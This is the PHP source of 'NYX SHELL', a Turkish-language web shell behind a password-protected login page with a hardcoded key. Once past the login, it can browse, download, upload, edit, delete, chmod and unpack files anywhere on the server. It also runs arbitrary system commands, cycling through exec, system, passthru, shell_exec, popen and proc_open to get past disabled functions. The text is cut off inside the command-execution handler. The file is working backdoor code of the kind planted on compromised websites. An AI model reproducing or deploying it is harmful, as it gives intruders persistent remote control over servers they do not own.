<?php
declare(strict_types=1);
error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
if (session_status() === PHP_SESSION_NONE) {
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '',
'secure' => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'),
'httponly' => true,
'samesite' => 'Strict',
]);
session_start();
}
const NYX_VERSION = '8.0';
const NYX_KEY = 'nyxbaba';
const NYX_SELF = 'Rainbow.php';
const NYX_BG_URL = 'https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExM3p3aTZma2EyYW95dmwzY3U0dW9vMmhodWoyOG4zeHRwM2hqcHhwZSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/Kx4eEsM11o0ahK7KAM/200.webp';
const NYX_SESSION_TTL = 3600;
function nx_escape($v): string {
return htmlspecialchars((string)$v, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');
}
function nx_js_attr($v): string {
$json = json_encode($v, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
if ($json === false) $json = '""';
return $json;
}
function nx_enc(string $path): string {
return rtrim(strtr(base64_encode($path), '+/', '-_'), '=');
}
function nx_dec(string $s): ?string {
if ($s === '') return null;
$d = base64_decode(strtr($s, '-_', '+/'), true);
return $d === false ? null : $d;
}
function nx_safe_path(string $base, string $rel): ?string {
$baseReal = realpath($base);
if ($baseReal === false) return null;
$rel = str_replace('\\', '/', $rel);
if ($rel === '' || strpos($rel, "\0") !== false) return null;
if (DIRECTORY_SEPARATOR === '\\' && strpos($rel, ':') !== false) return null;
foreach (explode('/', $rel) as $p) {
if ($p === '..') return null;
}
$candidate = $baseReal . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);
$candidateReal = realpath($candidate);
if ($candidateReal === false) {
$parent = realpath(dirname($candidate));
if ($parent === false) return null;
if ($parent !== $baseReal && strpos($parent . DIRECTORY_SEPARATOR, $baseReal . DIRECTORY_SEPARATOR) !== 0) {
return null;
}
return $candidate;
}
if ($candidateReal !== $baseReal && strpos($candidateReal . DIRECTORY_SEPARATOR, $baseReal . DIRECTORY_SEPARATOR) !== 0) {
return null;
}
return $candidateReal;
}
function nx_fmt_size($b): string {
if ($b === false || $b === null || $b < 0) return '—';
if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ' GB';
if ($b >= 1048576) return number_format($b / 1048576, 2) . ' MB';
if ($b >= 1024) return number_format($b / 1024, 2) . ' KB';
return $b . ' B';
}
function nx_ext(string $f): string {
$f = rtrim($f, '/');
$p = strrpos($f, '.');
return $p === false ? '' : strtolower(substr($f, $p + 1));
}
function nx_is_archive(string $f): bool {
$l = strtolower($f);
foreach (['.tar.gz', '.tar.bz2', '.tar.xz'] as $e) {
if (substr($l, -strlen($e)) === $e) return true;
}
return in_array(nx_ext($f), ['zip','tar','gz','tgz','bz2','rar','7z','xz','tbz2','txz'], true);
}
function nx_perms_str($perms): string {
if ($perms === false || $perms === null) return '??????????';
$i = '';
if (($perms & 0xC000) === 0xC000) $i = 's';
elseif (($perms & 0xA000) === 0xA000) $i = 'l';
elseif (($perms & 0x8000) === 0x8000) $i = '-';
elseif (($perms & 0x6000) === 0x6000) $i = 'b';
elseif (($perms & 0x4000) === 0x4000) $i = 'd';
elseif (($perms & 0x2000) === 0x2000) $i = 'c';
elseif (($perms & 0x1000) === 0x1000) $i = 'p';
else $i = 'u';
$i .= (($perms & 0x0100) ? 'r' : '-');
$i .= (($perms & 0x0080) ? 'w' : '-');
$i .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$i .= (($perms & 0x0020) ? 'r' : '-');
$i .= (($perms & 0x0010) ? 'w' : '-');
$i .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$i .= (($perms & 0x0004) ? 'r' : '-');
$i .= (($perms & 0x0002) ? 'w' : '-');
$i .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $i;
}
function nx_writable(string $path): bool {
if (!file_exists($path)) return false;
if (is_dir($path)) {
if (is_writable($path)) return true;
try {
$suffix = '.nx_' . bin2hex(random_bytes(8));
} catch (Throwable $e) {
$suffix = '.nx_' . md5((string)mt_rand() . (string)microtime(true));
}
$test = rtrim($path, '/\\') . DIRECTORY_SEPARATOR . $suffix;
$h = @fopen($test, 'x');
if ($h === false) return false;
@fclose($h);
@unlink($test);
return true;
}
return is_writable($path);
}
function nx_run(string $cmd): array {
$output = '';
$code = -1;
$rawDisabled = (string)@ini_get('disable_functions');
$disabled = array_filter(array_map('strtolower', array_map('trim', explode(',', $rawDisabled))));
$priority = ['exec', 'system', 'passthru', 'shell_exec', 'popen', 'proc_open'];
$fn = null;
foreach ($priority as $f) {
if (function_exists($f) && !in_array($f, $disabled, true)) { $fn = $f; break; }
}
if ($fn === null) return ['output' => 'Komut fonksiyonlari devre disi.', 'code' => -1];
try {
switch ($fn) {
case 'exec':
$lines = [];
@exec($cmd . ' 2>&1', $lines, $code);
$output = implode("\n", $lines);
break;
case 'system':
ob_start();
@system($cmd . ' 2>&1', $code);
$output = (string)ob_get_clean();
break;
case 'passthru':
ob_start();
@passthru($cmd . ' 2>&1', $code);
$output = (string)ob_get_clean();
break;
case 'shell_exec':
$marker = '__NX_EXIT_' . bin2hex(random_bytes(4)) . '__';
$raw = (string)@shell_exec($cmd . ' 2>&1; echo "' . $marker . '$?"');
if (preg_match('/' . preg_quote($marker, '/') . '(\d+)\s*$/', $raw, $m)) {
$code = (int)$m[1];
$output = (string)preg_replace('/' . preg_quote($marker, '/') . '\d+\s*$/', '', $raw);
} else {
$code = ($raw === '') ? 1 : 0;
$output = $raw;
}
break;
case 'popen':
$h = @popen($cmd . ' 2>&1', 'r');
if (is_resource($h)) {
$output = '';
while (!feof($h)) {
$chunk = fread($h, 4096);
if ($chunk === false) break;
$output .= $chunk;
}
$code = pclose($h);
}
break;
case 'proc_open':
$d = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
$p = @proc_open($cmd, $d, $pipes);
if (is_resource($p)) {
fclose($pipes[0]);
$output = (string)stream_get_contents($pipes[1]);
fclose($pipes[1]);
$err = (string)stream_get_contents($pipes[2]);
fclose($pipes[2]);
$code = proc_close($p);
if ($err !== '') $output .= "\n" . $err;
}
break;
}
} catch (Throwable $e) {
$output = 'Hata: ' . $e->getMessage();
$code = -1;
}
return ['output' => trim($output), 'code' => (int)$code];
}
function nx_rm_recursive(string $path): bool {
if (is_link($path)) return @unlink($path);
if (!file_exists($path)) return false;
if (is_file($path)) return @unlink($path);
if (!is_dir($path)) return false;
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $it) {
if ($it === '.' || $it === '..') continue;
$child = $path . DIRECTORY_SEPARATOR . $it;
if (is_dir($child) && !is_link($child)) nx_rm_recursive($child);
else @unlink($child);
}
return @rmdir($path);
}
function nx_server_ip(): string {
static $ip = null;
if ($ip !== null) return $ip;
if (!empty($_SERVER['SERVER_ADDR'])) return $ip = (string)$_SERVER['SERVER_ADDR'];
if (!empty($_SERVER['LOCAL_ADDR'])) return $ip = (string)$_SERVER['LOCAL_ADDR'];
return $ip = 'Bilinmiyor';
}
function nx_user_info(): array {
static $cache = null;
if ($cache !== null) return $cache;
$user = 'Bilinmiyor';
$id = 'Bilinmiyor';
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$euid = posix_geteuid();
$pw = @posix_getpwuid($euid);
if ($pw && isset($pw['name'])) $user = (string)$pw['name'];
$egid = function_exists('posix_getegid') ? posix_getegid() : null;
$idStr = 'uid=' . $euid;
if ($egid !== null) {
$idStr .= ' gid=' . $egid;
if (function_exists('posix_getgrgid')) {
$gr = @posix_getgrgid($egid);
if ($gr && isset($gr['name'])) $idStr .= '(' . $gr['name'] . ')';
}
}
$id = $idStr;
} else {
$w = nx_run('whoami');
if ($w['code'] === 0 && $w['output'] !== '') $user = trim($w['output']);
$i = nx_run('id');
if ($i['code'] === 0 && $i['output'] !== '') $id = trim($i['output']);
}
return $cache = ['user' => $user, 'id' => $id];
}
function nx_type_label(string $file, string $full): string {
if (@is_link($full)) return 'LINK';
if (@is_dir($full)) return 'DIR';
$l = strtolower($file);
if (substr($l, -8) === '.tar.bz2') return 'TAR.BZ2';
if (substr($l, -7) === '.tar.gz') return 'TAR.GZ';
if (substr($l, -7) === '.tar.xz') return 'TAR.XZ';
$e = nx_ext($file);
return $e === '' ? 'DOSYA' : strtoupper($e);
}
function nx_icon(string $file): string {
if (basename($file) === 'error_log') return 'LOG';
if (in_array(basename($file), ['.htaccess', '.htpasswd', '.env'], true)) return 'CFG';
$e = nx_ext($file);
$map = [
'IMG' => ['apng','avif','gif','jpg','jpeg','jfif','pjpeg','pjp','png','svg','webp','ico','bmp','tiff'],
'AUD' => ['wav','m4a','m4b','mp3','ogg','webm','mpc','flac','aac'],
'VID' => ['mp4','mov','avi','mkv','webm','flv','wmv','m4v'],
'PHP' => ['php','phtml','php3','php4','php5','php7','phps'],
'WEB' => ['html','htm','css','js','jsx','ts','tsx','vue','svelte'],
'SRC' => ['py','rb','java','c','cpp','cs','go','swift','kt','sh','bash','zsh','sql','json','xml','yaml','yml'],
'CFG' => ['ini','conf','env','cnf','config','tpl','twig','blade'],
'ARC' => ['zip','rar','tar','gz','7z','bz2','xz','iso','jar','tgz','tbz2','txz'],
'DOC' => ['pdf','doc','docx','xls','xlsx','ppt','pptx','odt','ods','odp','rtf','txt','md','log'],
];
foreach ($map as $label => $exts) {
if (in_array($e, $exts, true)) return $label;
}
return 'FILE';
}
function nx_set_msg(string $msg, string $type): void {
$_SESSION['nx_msg'] = $msg;
$_SESSION['nx_msg_type'] = $type;
}
function nx_csrf_token(): string {
if (empty($_SESSION['nx_csrf'])) {
try {
$_SESSION['nx_csrf'] = bin2hex(random_bytes(32));
} catch (Throwable $e) {
$_SESSION['nx_csrf'] = hash('sha256', uniqid('', true) . mt_rand());
}
}
return (string)$_SESSION['nx_csrf'];
}
function nx_csrf_field(): string {
return '<input type="hidden" name="nx_csrf" value="' . nx_escape(nx_csrf_token()) . '">';
}
function nx_csrf_check(): void {
if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') return;
if (!isset($_POST['nyx_key'])) {
$provided = (string)($_POST['nx_csrf'] ?? '');
$expected = (string)($_SESSION['nx_csrf'] ?? '');
if ($expected === '' || !hash_equals($expected, $provided)) {
http_response_code(403);
nx_set_msg('CSRF dogrulama hatasi. Sayfa yenileniyor.', 'error');
$path = defined('NX_PATH') ? NX_PATH : '/';
header('Location: ?p=' . urlencode(nx_enc($path)));
exit;
}
}
}
function nx_redirect(string $path): void {
$url = '?p=' . urlencode(nx_enc($path));
if (headers_sent()) {
echo '<script>location.href=' . nx_js_attr($url) . ';</script>';
exit;
}
header('Location: ' . $url);
exit;
}
function nx_render_login(?string $err = null): void {
while (ob_get_level() > 0) { ob_end_clean(); }
$errHtml = $err !== null ? '<div class="err">' . nx_escape($err) . '</div>' : '';
$bgUrl = nx_escape(NYX_BG_URL);
echo '<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NYX SHELL — Giris</title>
<style>
:root{
--bg:#07090c;--panel:rgba(18,22,28,0.72);--border:rgba(48,56,68,0.55);
--text:#dfe4ea;--muted:#7c8695;--accent:#4a9eff;--accent-h:#6fb3ff;
}
*{margin:0;padding:0;box-sizing:border-box}
html,body{height:100%;width:100%}
body{
font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;
background:#07090c;color:var(--text);font-size:14px;
display:flex;align-items:center;justify-content:center;overflow:hidden;position:relative;
}
.bg{
position:fixed;inset:0;z-index:0;
background:url("' . $bgUrl . '") center/cover no-repeat;
filter:brightness(0.28) contrast(1.15) saturate(0.75) blur(1px);
transform:scale(1.08);
}
.bg-overlay{
position:fixed;inset:0;z-index:1;
background:
radial-gradient(ellipse at center,rgba(7,9,12,0.5) 0%,rgba(7,9,12,0.9) 65%,#07090c 100%),
linear-gradient(180deg,rgba(7,9,12,0.3) 0%,rgba(7,9,12,0.6) 100%);
}
.bg-grid{
position:fixed;inset:0;z-index:2;pointer-events:none;
background-image:
linear-gradient(rgba(74,158,255,0.03) 1px,transparent 1px),
linear-gradient(90deg,rgba(74,158,255,0.03) 1px,transparent 1px);
background-size:48px 48px;
mask-image:radial-gradient(ellipse at center,black 0%,transparent 70%);
-webkit-mask-image:radial-gradient(ellipse at center,black 0%,transparent 70%);
}
.card{
position:relative;z-index:5;
width:100%;max-width:410px;margin:20px;
background:var(--panel);
backdrop-filter:blur(28px) saturate(140%);-webkit-backdrop-filter:blur(28px) saturate(140%);
border:1px solid var(--border);border-radius:16px;
padding:46px 38px 38px;
box-shadow:
0 30px 80px rgba(0,0,0,0.75),
0 0 0 1px rgba(255,255,255,0.025) inset,
0 1px 0 rgba(255,255,255,0.04) inset;
overflow:hidden;
}
.card::before{
content:"";position:absolute;top:0;left:10%;right:10%;height:1px;
background:linear-gradient(90deg,transparent,rgba(74,158,255,0.6),transparent);
}
.brand{
display:flex;flex-direction:column;align-items:center;gap:14px;
margin-bottom:8px;
}
.brand-logo{
width:54px;height:54px;border-radius:13px;
background:linear-gradient(135deg,#0d2440 0%,#1a4a8a 45%,#4a9eff 100%);
display:flex;align-items:center;justify-content:center;
font-weight:800;color:#fff;font-size:17px;letter-spacing:1px;
box-shadow:
0 10px 30px rgba(74,158,255,0.35),
0 0 0 1px rgba(74,158,255,0.4) inset,
0 1px 0 rgba(255,255,255,0.15) inset;
position:relative;
}
.brand-logo::after{
content:"";position:absolute;top:2px;left:2px;right:2px;height:45%;
border-radius:11px 11px 50% 50%;
background:linear-gradient(180deg,rgba(255,255,255,0.18),transparent);
pointer-events:none;
}
.brand-name{font-size:21px;font-weight:700;letter-spacing:3px;color:#eef2f7}
.brand-sub{
font-size:10.5px;color:var(--muted);
letter-spacing:2.5px;text-transform:uppercase;
margin-top:2px;
}
.divider{
height:1px;margin:24px 0 22px;
background:linear-gradient(90deg,transparent,rgba(48,56,68,0.8),transparent);
}
.err{
background:rgba(229,72,77,0.08);border:1px solid rgba(229,72,77,0.35);
color:#ff8b90;padding:11px 14px;border-radius:9px;
font-size:12.5px;margin-bottom:18px;text-align:center;
display:flex;align-items:center;gap:8px;justify-content:center;
}
.err::before{content:"⚠";font-size:14px}
label{
display:block;font-size:10.5px;color:var(--muted);
letter-spacing:1.4px;text-transform:uppercase;margin-bottom:9px;font-weight:600;
}
.input-wrap{position:relative}
input[type=password]{
width:100%;padding:14px 16px;
background:rgba(7,9,12,0.7);
border:1px solid var(--border);border-radius:10px;
color:var(--text);font-size:14px;font-family:inherit;
outline:none;transition:all 0.2s;
letter-spacing:1.5px;
}
input[type=password]:focus{
border-color:rgba(74,158,255,0.7);
background:rgba(7,9,12,0.85);
box-shadow:0 0 0 3px rgba(74,158,255,0.15),0 0 20px rgba(74,158,255,0.1);
}
input[type=password]::placeholder{color:#3d444f;letter-spacing:2px}
button{
width:100%;padding:14px;margin-top:16px;
background:linear-gradient(180deg,#3b8de8 0%,#2563b8 100%);
border:1px solid rgba(74,158,255,0.5);border-radius:10px;
color:#fff;font-size:13px;font-weight:700;
letter-spacing:1.8px;text-transform:uppercase;
cursor:pointer;font-family:inherit;transition:all 0.2s;
box-shadow:0 6px 20px rgba(37,99,184,0.35),0 1px 0 rgba(255,255,255,0.15) inset;
position:relative;overflow:hidden;
}
button:hover{
background:linear-gradient(180deg,#4a9eff 0%,#2f7cd1 100%);
transform:translateY(-1px);
box-shadow:0 10px 28px rgba(74,158,255,0.45),0 1px 0 rgba(255,255,255,0.2) inset;
}
button:active{transform:translateY(0)}
.foot{
text-align:center;margin-top:26px;padding-top:20px;
border-top:1px solid rgba(48,56,68,0.5);
font-size:10.5px;color:#4a5058;letter-spacing:0.6px;
}
.foot b{color:var(--muted);font-weight:600}
.status-dot{
display:inline-block;width:6px;height:6px;border-radius:50%;
background:#30a46c;margin-right:6px;
box-shadow:0 0 8px rgba(48,164,108,0.8);
animation:pulse 2s ease-in-out infinite;
vertical-align:middle;
}
@keyframes pulse{
0%,100%{opacity:1;box-shadow:0 0 8px rgba(48,164,108,0.8)}
50%{opacity:0.5;box-shadow:0 0 4px rgba(48,164,108,0.4)}
}
</style>
</head>
<body>
<div class="bg"></div>
<div class="bg-overlay"></div>
<div class="bg-grid"></div>
<form class="card" method="post" autocomplete="off">
<div class="brand">
<div class="brand-logo">NX</div>
<div class="brand-name">NYX SHELL</div>
<div class="brand-sub">Secure Management Console</div>
</div>
<div class="divider"></div>
' . $errHtml . '
<label for="k">Erisim Sifresi</label>
<div class="input-wrap">
<input type="password" id="k" name="nyx_key" placeholder="••••••••" required autofocus>
</div>
<button type="submit">Kimlik Dogrula</button>
<div class="foot"><span class="status-dot"></span>v' . NYX_VERSION . ' · <b>Katane Arqeen</b> & <b>Real Arqeen</b></div>
</form>
</body>
</html>';
exit;
}
function nx_check_auth(): void {
if (isset($_GET['logout'])) {
$_SESSION = [];
if (ini_get('session.use_cookies')) {
$p = session_get_cookie_params();
setcookie(session_name(), '', [
'expires' => time() - 42000,
'path' => $p['path'],
'domain' => $p['domain'],
'secure' => $p['secure'],
'httponly' => $p['httponly'],
'samesite' => $p['samesite'] ?? 'Strict',
]);
}
session_destroy();
$clean = strtok((string)($_SERVER['REQUEST_URI'] ?? NYX_SELF), '?');
if ($clean === false || $clean === '') $clean = NYX_SELF;
if (headers_sent()) echo '<script>location.href=' . nx_js_attr($clean) . ';</script>';
else header('Location: ' . $clean);
exit;
}
if (!empty($_SESSION['nx_auth']) && $_SESSION['nx_auth'] === true) {
if (!empty($_SESSION['nx_last']) && (time() - (int)$_SESSION['nx_last'] > NYX_SESSION_TTL)) {
$_SESSION = [];
session_destroy();
nx_render_login('Oturum suresi doldu. Tekrar giris yapin.');
}
if (array_key_exists('nx_ua', $_SESSION) && $_SESSION['nx_ua'] !== ($_SERVER['HTTP_USER_AGENT'] ?? '')) {
$_SESSION = [];
session_destroy();
nx_render_login('Oturum dogrulamasi basarisiz.');
}
$_SESSION['nx_last'] = time();
return;
}
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'POST' && isset($_POST['nyx_key'])) {
$provided = trim((string)$_POST['nyx_key']);
if (hash_equals(NYX_KEY, $provided)) {
session_regenerate_id(true);
$_SESSION['nx_auth'] = true;
$_SESSION['nx_login'] = time();
$_SESSION['nx_last'] = time();
$_SESSION['nx_ua'] = $_SERVER['HTTP_USER_AGENT'] ?? '';
try {
$_SESSION['nx_csrf'] = bin2hex(random_bytes(32));
} catch (Throwable $e) {
$_SESSION['nx_csrf'] = hash('sha256', uniqid('', true) . mt_rand());
}
if (headers_sent()) echo '<script>location.href=' . nx_js_attr(NYX_SELF) . ';</script>';
else header('Location: ' . NYX_SELF);
exit;
}
usleep(400000);
nx_render_login('Gecersiz sifre.');
}
nx_render_login();
}
nx_check_auth();
$scriptPath = str_replace('\\', '/', dirname(__FILE__));
$currentPath = $scriptPath;
if (isset($_GET['p']) && $_GET['p'] !== '') {
$decoded = nx_dec((string)$_GET['p']);
if ($decoded !== null && $decoded !== '') {
$decoded = str_replace('\\', '/', $decoded);
$real = realpath($decoded);
if ($real !== false && is_dir($real) && is_readable($real)) {
$currentPath = $real;
} else {
nx_set_msg('Yol gecersiz veya erisilemiyor.', 'error');
}
} else {
nx_set_msg('Gecersiz yol parametresi.', 'error');
}
}
$currentPath = str_replace('\\', '/', $currentPath);
if ($currentPath !== '/' && strlen($currentPath) > 1) $currentPath = rtrim($currentPath, '/');
if ($currentPath === '') $currentPath = '/';
define('NX_PATH', $currentPath);
$message = (string)($_SESSION['nx_msg'] ?? '');
$messageType = (string)($_SESSION['nx_msg_type'] ?? 'info');
unset($_SESSION['nx_msg'], $_SESSION['nx_msg_type']);
$actionOutput = '';
if (isset($_GET['dl'], $_GET['file'])) {
$rel = (string)$_GET['file'];
$target = nx_safe_path(NX_PATH, $rel);
if ($target === null || !is_file($target) || !is_readable($target)) {
nx_set_msg('Dosya indirilemiyor.', 'error');
nx_redirect(NX_PATH);
}
while (ob_get_level() > 0) ob_end_clean();
$baseName = basename($target);
$asciiFallback = preg_replace('/[^\x20-\x7E]/', '_', $baseName);
$asciiFallback = str_replace(['"', '\\', "\r", "\n"], '_', (string)$asciiFallback);
if ($asciiFallback === '') $asciiFallback = 'download';
$utf8Name = rawurlencode($baseName);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $asciiFallback . '"; filename*=UTF-8\'\'' . $utf8Name);
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($target));
@readfile($target);
exit;
}
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'POST') {
if (!isset($_POST['nyx_key'])) {
nx_csrf_check();
}
if (isset($_POST['nx_upload'])) {
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$name = basename((string)$_FILES['upload_file']['name']);
$name = str_replace(["\0", '/', '\\'], '', $name);
if ($name === '' || $name === '.' || $name === '..') {
nx_set_msg('Gecersiz dosya adi.', 'error');
} else {
$target = NX_PATH . '/' . $name;
if (!nx_writable(NX_PATH)) {
nx_set_msg('Hedef dizin yazilabilir degil.', 'error');
} elseif (@move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
nx_set_msg('Yuklendi: ' . $name, 'success');
} else {
nx_set_msg('Yukleme basarisiz.', 'error');
}
}
} else {
$errs = [
UPLOAD_ERR_INI_SIZE => 'php.ini limiti asildi.',
UPLOAD_ERR_FORM_SIZE => 'Form limiti asildi.',
UPLOAD_ERR_PARTIAL => 'Yarim yukleme.',
UPLOAD_ERR_NO_FILE => 'Dosya secilmedi.',
UPLOAD_ERR_NO_TMP_DIR => 'Gecici dizin yok.',
UPLOAD_ERR_CANT_WRITE => 'Diske yazilamadi.',
UPLOAD_ERR_EXTENSION => 'Eklenti engelledi.',
];
$c = (int)($_FILES['upload_file']['error'] ?? UPLOAD_ERR_NO_FILE);
nx_set_msg($errs[$c] ?? 'Bilinmeyen yukleme hatasi.', 'error');
}
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_create'])) {
$name = trim((string)($_POST['create_name'] ?? ''));
$type = (string)($_POST['create_type'] ?? 'file');
if ($name === '' || strpos($name, "\0") !== false || strpos($name, '/') !== false || strpos($name, '\\') !== false || $name === '.' || $name === '..') {
nx_set_msg('Gecersiz isim.', 'error');
nx_redirect(NX_PATH);
}
$new = NX_PATH . '/' . $name;
if (file_exists($new)) {
nx_set_msg('Bu isim zaten var.', 'error');
nx_redirect(NX_PATH);
}
if ($type === 'dir') {
$ok = @mkdir($new, 0755);
nx_set_msg($ok ? 'Dizin olusturuldu.' : 'Dizin olusturulamadi.', $ok ? 'success' : 'error');
} else {
$ok = @touch($new);
nx_set_msg($ok ? 'Dosya olusturuldu.' : 'Dosya olusturulamadi.', $ok ? 'success' : 'error');
}
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_delete'])) {
$rel = (string)($_POST['delete_name'] ?? '');
$target = nx_safe_path(NX_PATH, $rel);
if ($target === null || (!file_exists($target) && !is_link($target))) {
nx_set_msg('Oge bulunamadi.', 'error');
nx_redirect(NX_PATH);
}
if (is_dir($target) && !is_link($target)) {
$ok = nx_rm_recursive($target);
nx_set_msg($ok ? 'Dizin silindi.' : 'Dizin silinemedi.', $ok ? 'success' : 'error');
} else {
$ok = @unlink($target);
nx_set_msg($ok ? 'Oge silindi.' : 'Silinemedi.', $ok ? 'success' : 'error');
}
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_rename'])) {
$orig = (string)($_POST['rename_original'] ?? '');
$new = trim((string)($_POST['rename_new'] ?? ''));
$src = nx_safe_path(NX_PATH, $orig);
if ($src === null || !file_exists($src)) {
nx_set_msg('Kaynak bulunamadi.', 'error');
nx_redirect(NX_PATH);
}
if ($new === '' || strpos($new, "\0") !== false || strpos($new, '/') !== false || strpos($new, '\\') !== false || $new === '.' || $new === '..') {
nx_set_msg('Gecersiz yeni isim.', 'error');
nx_redirect(NX_PATH);
}
$dst = NX_PATH . '/' . $new;
if (file_exists($dst)) {
nx_set_msg('Hedef isim zaten var.', 'error');
nx_redirect(NX_PATH);
}
$ok = @rename($src, $dst);
nx_set_msg($ok ? 'Yeniden adlandirildi.' : 'Basarisiz.', $ok ? 'success' : 'error');
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_chmod'])) {
$rel = (string)($_POST['chmod_name'] ?? '');
$perm = trim((string)($_POST['chmod_perm'] ?? ''));
$target = nx_safe_path(NX_PATH, $rel);
if ($target === null || !file_exists($target)) {
nx_set_msg('Oge bulunamadi.', 'error');
nx_redirect(NX_PATH);
}
if (!preg_match('/^0?[0-7]{3}$/', $perm)) {
nx_set_msg('Gecersiz izin. Ornek: 644 veya 0644', 'error');
nx_redirect(NX_PATH);
}
$oct = octdec($perm);
$ok = @chmod($target, $oct);
nx_set_msg($ok ? 'Izinler: ' . sprintf('%04o', $oct) : 'Chmod basarisiz.', $ok ? 'success' : 'error');
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_edit_save'])) {
$rel = (string)($_POST['edit_file'] ?? '');
$content = (string)($_POST['edit_content'] ?? '');
$target = nx_safe_path(NX_PATH, $rel);
if ($target === null || !is_file($target)) {
nx_set_msg('Dosya bulunamadi.', 'error');
nx_redirect(NX_PATH);
}
if (!nx_writable($target)) {
nx_set_msg('Dosya yazilabilir degil.', 'error');
nx_redirect(NX_PATH);
}
$written = @file_put_contents($target, $content, LOCK_EX);
$ok = ($written !== false);
nx_set_msg($ok ? 'Kaydedildi.' : 'Kaydedilemedi.', $ok ? 'success' : 'error');
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_archive'])) {
$name = (string)($_POST['archive_name'] ?? '');
$type = (string)($_POST['archive_type'] ?? '');
$target = nx_safe_path(NX_PATH, $name);
if ($target === null || !file_exists($target)) {
nx_set_msg('Oge bulunamadi.', 'error');
nx_redirect(NX_PATH);
}
$base = basename($name);
$outName = '';
$cmd = '';
if ($type === 'zip') {
$outName = $base . '.zip';
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && zip -rq ' . escapeshellarg($outName) . ' ' . escapeshellarg($name);
} elseif ($type === 'tar') {
$outName = $base . '.tar.gz';
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -czf ' . escapeshellarg($outName) . ' ' . escapeshellarg($name);
}
if ($cmd === '') {
nx_set_msg('Gecersiz arsiv turu.', 'error');
nx_redirect(NX_PATH);
}
$r = nx_run($cmd);
nx_set_msg($r['code'] === 0 ? 'Arsiv: ' . $outName : 'Arsivleme basarisiz.', $r['code'] === 0 ? 'success' : 'error');
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_extract'])) {
$name = (string)($_POST['extract_name'] ?? '');
$target = nx_safe_path(NX_PATH, $name);
if ($target === null || !is_file($target)) {
nx_set_msg('Arsiv bulunamadi.', 'error');
nx_redirect(NX_PATH);
}
$base = basename($name);
if ($base === '' || strpos($base, "\0") !== false) {
nx_set_msg('Gecersiz arsiv adi.', 'error');
nx_redirect(NX_PATH);
}
$l = strtolower($base);
$cmd = '';
if (substr($l, -4) === '.zip') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && unzip -o -qq ' . escapeshellarg($base);
} elseif (substr($l, -7) === '.tar.gz' || substr($l, -4) === '.tgz') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xzf ' . escapeshellarg($base);
} elseif (substr($l, -8) === '.tar.bz2' || substr($l, -5) === '.tbz2') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xjf ' . escapeshellarg($base);
} elseif (substr($l, -7) === '.tar.xz' || substr($l, -5) === '.txz') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xJf ' . escapeshellarg($base);
} elseif (substr($l, -4) === '.tar') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xf ' . escapeshellarg($base);
} elseif (substr($l, -3) === '.gz') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && gunzip -kf ' . escapeshellarg($base);
} elseif (substr($l, -4) === '.bz2') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && bunzip2 -kf ' . escapeshellarg($base);
} elseif (substr($l, -4) === '.rar') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && unrar x -o+ -inul ' . escapeshellarg($base);
} elseif (substr($l, -3) === '.7z') {
$cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && 7z x -y -bso0 -bsp0 ' . escapeshellarg($base);
}
if ($cmd === '') {
nx_set_msg('Desteklenmeyen arsiv.', 'error');
nx_redirect(NX_PATH);
}
$r = nx_run($cmd);
nx_set_msg($r['code'] === 0 ? 'Arsiv acildi.' : 'Acilamadi: ' . $r['output'], $r['code'] === 0 ? 'success' : 'error');
nx_redirect(NX_PATH);
}
if (isset($_POST['nx_command'])) {
$cmd = trim((string)($_POST['command_input'] ?? ''));
if ($cmd === '') {
$actionOutput = 'Komut bos.';
} else {
$r = nx_run($cmd);
